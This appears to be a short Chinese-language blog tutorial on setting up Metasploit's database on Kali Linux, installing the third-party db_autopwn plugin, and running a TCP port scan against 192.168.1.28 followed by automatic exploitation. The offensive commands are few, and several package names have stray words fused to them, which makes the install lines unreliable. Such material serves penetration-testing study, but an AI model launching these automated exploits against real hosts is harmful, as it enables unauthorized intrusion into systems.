【研究】Metasploit自动攻击模块

环境:kali-linux-2017.3-vm-amd64linux

1、安装postgresql数据库git

apt-get install postgresqlgithub

apt-get install rubygems libpq-devsql

apt-get install libreadline-dev数据库

apt-get install libssl-devruby

apt-get install libpq5tcp

apt-get install ruby-devpost

apt-get install libpq-dev插件

直接所有copy到kali中执行便可postgresql

2、自动配置数据库

service postgres start           启动服务

msfdb init                           自动建立数据库、用户、密码

 

3、手动配置数据库

passwd postgres 修改postgresql数据库密码

 

su postgres    进入数据库

createuser hello –P       建立用户hello,并设置密码

createdb --owner=hello db_hello      给用户hello建立一个数据库db_hello

psql db_hello        进入db_hello数据库

 

4、安装db_autopwn.rb模块

cd /usr/share/metasploit-framework/plugins   定位到msf插件目录

git clone https://github.com/hahwul/metasploit-db_autopwn.git  安装db_autopwn

 

cd metasploit-db_autopwn

mv db_autopwn.rb /usr/share/metasploit-framework/plugins

打开msfconsole,查看db_autopwn是否安装成功,执行以下命令:

load db_autopwn         出现下图结果说明安装成功

 

5、借助db_autopwn进行自动加载模块进行攻击

msfconsole

use auxiliary/scanner/portscan/tcp     调用tcp扫描模块

set rhosts 192.168.1.28

set threads 10

exploit

 

自动加载模块

db_autopwn –t –p –r –e

 

相关文章
相关标签/搜索